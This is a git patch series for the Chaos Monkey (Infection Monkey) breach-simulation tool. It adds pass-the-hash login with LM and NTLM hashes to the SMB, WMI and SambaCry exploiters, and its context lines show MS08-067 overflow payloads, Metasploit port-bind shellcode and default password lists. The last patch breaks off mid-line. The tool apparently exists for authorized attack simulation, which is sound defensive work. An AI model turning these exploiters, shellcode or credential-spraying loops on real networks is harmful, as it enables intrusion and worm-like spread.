From 89b442be587ceabb121302fb66b525c8cbd9672f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 26 Sep 2017 18:11:13 +0300 Subject: [PATCH 1/8] Implement pass the hash for SMB --- chaos_monkey/config.py | 16 +++++++ chaos_monkey/example.conf | 2 + chaos_monkey/exploit/smbexec.py | 32 +++++++------- chaos_monkey/exploit/tools.py | 55 ++++++++++++++----------- chaos_monkey/exploit/win_ms08_067.py | 12 +++--- chaos_monkey/exploit/wmiexec.py | 4 +- monkey_island/cc/resources/telemetry.py | 4 ++ monkey_island/cc/services/config.py | 50 ++++++++++++++++++---- 8 files changed, 120 insertions(+), 55 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b9d250cd8..30a49fd15 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -229,8 +229,24 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) + def get_exploit_user_password_or_hash_product(self): + """ + Returns all combinations of the configurations users and passwords or lm/ntlm hashes + :return: + """ + cred_list = [] + for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']): + cred_list.append(cred) + for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list): + cred_list.append(cred) + for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']): + cred_list.append(cred) + return cred_list + exploit_user_list = ['Administrator', 'root', 'user'] exploit_password_list = ["Password1!", "1234", "password", "12345678"] + exploit_lm_hash_list = [] + exploit_ntlm_hash_list = [] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 3db576ad3..7fa91bab5 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -62,6 +62,8 @@ "skip_exploit_if_file_exist": true, "exploit_user_list": [], "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], "sambacry_trigger_timeout": 5, "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_shares_not_to_check": ["IPC$", "print$"], diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index e23818f4d..5c316ba99 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -16,7 +16,7 @@ try: from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT from impacket.smb import SessionError as SessionError2 from impacket.smb3 import SessionError as SessionError3 -except ImportError, exc: +except ImportError as exc: print str(exc) print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' @@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_password_pairs = self._config.get_exploit_user_password_or_hash_product() exploited = False - for user, password in user_password_pairs: + for user, password, lm_hash, ntlm_hash in user_password_pairs: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - user, - password, src_path, self._config.dropper_target_path, + user, + password, + lm_hash, + ntlm_hash, self._config.smb_download_timeout) if remote_full_path is not None: - LOG.debug("Successfully logged in %r using SMB (%s : %s)", - host, user, password) + LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", + host, user, password, lm_hash, ntlm_hash) host.learn_credentials(user, password) exploited = True break else: # failed exploiting with this user/pass - report_failed_login(self, host, user, password) + report_failed_login(self, host, user, password, lm_hash, ntlm_hash) - except Exception, exc: - LOG.debug("Exception when trying to copy file using SMB to %r with user" - " %s and password '%s': (%s)", host, - user, password, exc) + except Exception as exc: + LOG.debug("Exception when trying to copy file using SMB to %r with user:" + " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host, + user, password, lm_hash, ntlm_hash, exc) continue if not exploited: @@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(user, password, host.ip_addr, - "", "", None) + rpctransport.set_credentials(user, password, '', + lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() try: scmr_rpc.connect() - except Exception, exc: + except Exception as exc: LOG.warn("Error connecting to SCM on exploited machine %r: %s", host, exc) return False diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 2e8aa4fa5..bad9efb51 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -62,7 +62,7 @@ class WmiTools(object): try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - except Exception, exc: + except Exception as exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: @@ -156,7 +156,7 @@ class WmiTools(object): query_record[key] = record[key]['value'] query.append(query_record) - except DCERPCSessionError, exc: + except DCERPCSessionError as exc: if 1 == exc.error_code: break @@ -169,20 +169,21 @@ class WmiTools(object): class SmbTools(object): @staticmethod - def copy_file(host, username, password, src_path, dst_path, timeout=60): + def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = __import__('config').WormConfiguration src_file_size = monkeyfs.getsize(src_path) - smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout) + smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None # skip guest users if smb.isGuestSession() > 0: - LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges", - host, username, password) + LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," + " LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) try: smb.logoff() @@ -193,7 +194,7 @@ class SmbTools(object): try: resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception, exc: + except Exception as exc: LOG.debug("Error requesting server info from %r over SMB: %s", host, exc) return None @@ -210,7 +211,7 @@ class SmbTools(object): try: resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception, exc: + except Exception as exc: LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc) return None @@ -252,13 +253,13 @@ class SmbTools(object): share_path = share['share_path'] if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, timeout) + smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None try: tid = smb.connectTree(share_name) - except Exception, exc: + except Exception as exc: LOG.debug("Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc) continue @@ -293,7 +294,7 @@ class SmbTools(object): src_path, share_name, share_path, host) break - except Exception, exc: + except Exception as exc: LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) continue @@ -307,23 +308,23 @@ class SmbTools(object): if not file_uploaded: LOG.debug("Couldn't find a writable share for exploiting" - " victim %r with username %s and password '%s'", - host, username, password) + " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) return None return remote_full_path @staticmethod - def new_smb_connection(host, username, password, timeout=60): + def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) - except Exception, exc: + except Exception as exc: LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) - except Exception, exc: + except Exception as exc: LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None @@ -334,10 +335,10 @@ class SmbTools(object): # we know this should work because the WMI connection worked try: - smb.login(username, password, domain=host.ip_addr) - except Exception, exc: - LOG.debug("Error while loging into %r using user %s and password '%s': %s", - host, username, password, exc) + smb.login(username, password, '', lm_hash, ntlm_hash) + except Exception as exc: + LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", + host, username, password, lm_hash, ntlm_hash, exc) return None, dialect smb.setTimeout(timeout) @@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None): GUID, target_host.default_tunnel, target_host.default_server, depth, location) -def report_failed_login(exploiter, machine, user, password): +def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''): from control import ControlClient - ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, - 'exploiter': exploiter.__class__.__name__, - 'user': user, 'password': password}) + telemetry_dict =\ + {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, + 'user': user, 'password': password} + if lm_hash != '': + telemetry_dict['lm_hash'] = lm_hash + if ntlm_hash != '': + telemetry_dict['lm_hash'] = ntlm_hash + + ControlClient.send_telemetry('exploit', telemetry_dict) def get_binaries_dir_path(): diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index ac9f878c7..7213aed62 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + self._config.ms08_067_remote_user_add, + self._config.ms08_067_remote_user_pass) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(host, - "Administrator", - password, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + "Administrator", + password) if remote_full_path: break diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 312a497da..15ccb9375 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -73,10 +73,10 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - user, - password, src_path, self._config.dropper_target_path, + user, + password, self._config.smb_download_timeout) if not remote_full_path: diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 4db48e010..0fea9b4d5 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_username(user) if 'password' in creds[user]: ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user]: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user]: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 6f6071aa3..8af645dcc 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -405,10 +405,36 @@ SCHEMA = { "monkey_log_path_windows": { "title": "Monkey log file path on Windows", "type": "string", - "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", + "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", "description": "The fullpath of the monkey log file on Windows" } } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "exploit_lm_hash_list": { + "title": "Exploit LM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of LM hashes to use on exploits using credentials" + }, + "exploit_ntlm_hash_list": { + "title": "Exploit NTLM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of NTLM hashes to use on exploits using credentials" + } + } } } }, @@ -804,20 +830,28 @@ class ConfigService: return SCHEMA @staticmethod - def creds_add_username(username): + def add_item_to_config_set(item_key, item_value): mongo.db.config.update( {'name': 'newconfig'}, - {'$addToSet': {'exploits.credentials.exploit_user_list': username}}, + {'$addToSet': {item_key: item_value}}, upsert=False ) + @staticmethod + def creds_add_username(username): + ConfigService.add_item_to_config_set('exploits.credentials.exploit_user_list', username) + @staticmethod def creds_add_password(password): - mongo.db.config.update( - {'name': 'newconfig'}, - {'$addToSet': {'exploits.credentials.exploit_password_list': password}}, - upsert=False - ) + ConfigService.add_item_to_config_set('exploits.credentials.exploit_password_list', password) + + @staticmethod + def creds_add_lm_hash(lm_hash): + ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash) + + @staticmethod + def creds_add_ntlm_hash(ntlm_hash): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) @staticmethod def update_config(config_json): From 7e2e2aa15fd3f2b79300d13606bebd9c6b380129 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 26 Sep 2017 20:00:56 +0300 Subject: [PATCH 2/8] Global config updates of creds now apply to running monkeys Fix issue caused by moving of the credentials to basic tab --- monkey_island/cc/services/config.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8af645dcc..9ad727b08 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -837,13 +837,19 @@ class ConfigService: upsert=False ) + mongo.db.monkey.update( + {}, + {'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}}, + multi=True + ) + @staticmethod def creds_add_username(username): - ConfigService.add_item_to_config_set('exploits.credentials.exploit_user_list', username) + ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username) @staticmethod def creds_add_password(password): - ConfigService.add_item_to_config_set('exploits.credentials.exploit_password_list', password) + ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password) @staticmethod def creds_add_lm_hash(lm_hash): From fe77fc833cf393b82191e5e24699f36b0f569d69 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 27 Sep 2017 14:28:53 +0300 Subject: [PATCH 3/8] fix ntlm_hash telem --- chaos_monkey/exploit/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index bad9efb51..bde32691d 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -482,7 +482,7 @@ def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_ if lm_hash != '': telemetry_dict['lm_hash'] = lm_hash if ntlm_hash != '': - telemetry_dict['lm_hash'] = ntlm_hash + telemetry_dict['ntlm_hash'] = ntlm_hash ControlClient.send_telemetry('exploit', telemetry_dict) From 7e3f420fe086ba0978fa1875cfbe2941206b4d48 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 27 Sep 2017 17:23:23 +0300 Subject: [PATCH 4/8] Add pass-the-hash for sambacry --- chaos_monkey/exploit/sambacry.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 22b3a3f2b..7bf8533ef 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -161,13 +161,14 @@ class SambaCryExploiter(HostExploiter): return writable_shares_creds_dict def get_credentials_list(self): - user_password_pairs = self._config.get_exploit_user_password_pairs() + creds = self._config.get_exploit_user_password_or_hash_product() # Add empty credentials for anonymous shares. credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] - for user, password in user_password_pairs: - credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''}) + for user, password, lm_hash, ntlm_hash in creds: + credentials_list.append( + {'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) return credentials_list From d628a27595909f050bedfced8d6c100693c6051b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 27 Sep 2017 18:30:44 +0300 Subject: [PATCH 5/8] Add pass-the-hash for wmi --- chaos_monkey/exploit/wmiexec.py | 42 ++++++++++++++++++--------------- 1 file changed, 23 insertions(+), 19 deletions(-) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 15ccb9375..05751f2d5 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() + creds = self._config.get_exploit_user_password_or_hash_product() - for user, password in user_password_pairs: - LOG.debug("Attempting to connect %r using WMI with password '%s'", - host, password) + for user, password, lm_hash, ntlm_hash in creds: + LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", + host, user, password, lm_hash, ntlm_hash) wmi_connection = WmiTools.WmiConnection() try: - wmi_connection.connect(host, - user, - password) + wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: - LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')", - host, user, password) + LOG.debug("Failed connecting to %r using WMI with " + "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", + host, user, password, lm_hash, ntlm_hash) continue - except DCERPCException, exc: - report_failed_login(self, host, user, password) - LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')", - host, user, password) + except DCERPCException as exc: + report_failed_login(self, host, user, password, lm_hash, ntlm_hash) + LOG.debug("Failed connecting to %r using WMI with " + "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", + host, user, password, lm_hash, ntlm_hash) continue - except socket.error, exc: - LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)", - host, user, password, exc) + except socket.error as exc: + LOG.debug("Network error in WMI connection to %r with " + "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", + host, user, password, lm_hash, ntlm_hash) return False - except Exception, exc: - LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s", - host, user, password, exc, traceback.format_exc()) + except Exception as exc: + LOG.debug("Unknown WMI connection error to %r with " + "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", + host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) return False host.learn_credentials(user, password) @@ -77,6 +79,8 @@ class WmiExploiter(HostExploiter): self._config.dropper_target_path, user, password, + lm_hash, + ntlm_hash, self._config.smb_download_timeout) if not remote_full_path: From a27c802b1195334d1e62a39718bd19f1245ec208 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 28 Sep 2017 14:17:41 +0300 Subject: [PATCH 6/8] If already touching this file, modify it for PEP8 + better exception syntax. --- chaos_monkey/exploit/win_ms08_067.py | 64 ++++++++++++++-------------- 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 7213aed62..3a15d135e 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -9,34 +9,35 @@ import sys import time import socket -from enum import IntEnum from logging import getLogger -from model.host import VictimHost -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from . import HostExploiter + +from enum import IntEnum + from exploit.tools import SmbTools, get_target_monkey -from network.tools import check_port_tcp +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from model.host import VictimHost from network import SMBFinger +from network.tools import check_port_tcp from tools import build_monkey_commandline +from . import HostExploiter try: from impacket import smb from impacket import uuid - #from impacket.dcerpc import dcerpc + # from impacket.dcerpc import dcerpc from impacket.dcerpc.v5 import transport from impacket.smbconnection import SessionError as SessionError1 from impacket.smb import SessionError as SessionError2 from impacket.smb3 import SessionError as SessionError3 -except ImportError, exc: +except ImportError as exc: print str(exc) print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) - LOG = getLogger(__name__) - + # Portbind shellcode from metasploit; Binds port to TCP port 4444 SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" @@ -61,8 +62,7 @@ SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" - - + # Payload for Windows 2000 target PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' @@ -76,7 +76,7 @@ PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\xeb\xcc' PAYLOAD_2000 += '\x00\x00' - + # Payload for Windows 2003[SP2] target PAYLOAD_2003 = '\x41\x00\x5c\x00' PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00' @@ -95,11 +95,11 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00' class WindowsVersion(IntEnum): Windows2000 = 1 Windows2003_SP2 = 2 - - + + class SRVSVC_Exploit(object): TELNET_PORT = 4444 - + def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445): self._port = port self._target = target_addr @@ -110,33 +110,33 @@ class SRVSVC_Exploit(object): The port on which the Telnet service will listen. """ - + return SRVSVC_Exploit.TELNET_PORT - + def start(self): """start() -> socket Exploit the target machine and return a socket connected to it's listening Telnet service. """ - + target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target - + LOG.debug("Initiating exploit connection (%s)", target_rpc_name) self._trans = transport.DCERPCTransportFactory(target_rpc_name) self._trans.connect() - + LOG.debug("Connected to %s", target_rpc_name) - + self._dce = self._trans.DCERPC_class(self._trans) self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) - + dce_packet = self._build_dce_packet() - self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation - + self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation + LOG.debug("Exploit sent to %s successfully...", self._target) LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port()) - + sock = socket.socket() sock.connect((self._target, self.get_telnet_port())) return sock @@ -162,7 +162,7 @@ class SRVSVC_Exploit(object): dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00' dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00' dce_packet += '\x01\x00\x00\x00' - + return dce_packet @@ -186,7 +186,7 @@ class Ms08_067_Exploiter(HostExploiter): smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(host): return host.os.get('type') in self._target_os_type and \ - host.os.get('version') in self._windows_versions.keys() + host.os.get('version') in self._windows_versions.keys() return False def exploit_host(self, host, depth=-1, src_path=None): @@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter): LOG.debug("Exploited into %r using MS08-067", host) exploited = True break - except Exception, exc: + except Exception as exc: LOG.debug("Error exploiting victim %r: (%s)", host, exc) continue @@ -256,15 +256,15 @@ class Ms08_067_Exploiter(HostExploiter): build_monkey_commandline(host, depth - 1) try: - sock.send("start %s\r\n" % (cmdline, )) - sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, )) - except Exception, exc: + sock.send("start %s\r\n" % (cmdline,)) + sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) + except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc) return False finally: try: sock.close() - except: + except socket.error: pass LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", From 5586619f19cb48f857484f9d694be8368d36f534 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 28 Sep 2017 14:22:35 +0300 Subject: [PATCH 7/8] PEP8 fun --- chaos_monkey/exploit/sambacry.py | 35 ++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 7bf8533ef..3b4477dcf 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -1,11 +1,10 @@ +import itertools import logging +import posixpath import re -import sys import time from io import BytesIO from os import path -import itertools -import posixpath import impacket.smbconnection from impacket.nt_errors import STATUS_SUCCESS @@ -37,7 +36,6 @@ class SambaCryExploiter(HostExploiter): def __init__(self): self._config = __import__('config').WormConfiguration - def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): return False @@ -66,7 +64,8 @@ class SambaCryExploiter(HostExploiter): host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: - LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) + LOG.info( + "Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) return True else: LOG.info("No shares triggered successfully on host %s" % host.ip_addr) @@ -86,7 +85,8 @@ class SambaCryExploiter(HostExploiter): self.trigger_module(smb_client, share) smb_client.close() except (impacket.smbconnection.SessionError, SessionError): - LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) + LOG.debug( + "Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): """ @@ -198,11 +198,14 @@ class SambaCryExploiter(HostExploiter): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"): + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and ( + samba_version_parts[1] <= "13"): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"): + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and ( + samba_version_parts[1] <= "9"): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and ( + samba_version_parts[1] <= "3"): is_vulnerable = True LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % @@ -244,7 +247,8 @@ class SambaCryExploiter(HostExploiter): """ tree_id = smb_client.connectTree(share) - with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: + with self.get_monkey_commandline_file(host, depth, + self._config.dropper_target_path_linux) as monkey_commandline_file: smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: @@ -326,14 +330,13 @@ class SambaCryExploiter(HostExploiter): else: return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb") - def get_monkey_commandline_file(self, host, depth, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, - fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): packet = smb_client.getSMBServer().SMB_PACKET() packet['Command'] = SMB2_CREATE @@ -407,5 +410,7 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: - return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) + return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, + shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, + fileAttributes=0) From 9af6590e750da0afe00427cdb728dc1eb9f0eddf Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 28 Sep 2017 19:03:31 +0300 Subject: [PATCH 8/8] Fix CR --- chaos_monkey/exploit/sambacry.py | 11 +++++------ chaos_monkey/exploit/smbexec.py | 6 +++--- chaos_monkey/exploit/tools.py | 4 ++-- 3 files changed, 10 insertions(+), 11 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 3b4477dcf..5c3c5325c 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -163,14 +163,13 @@ class SambaCryExploiter(HostExploiter): def get_credentials_list(self): creds = self._config.get_exploit_user_password_or_hash_product() + creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': 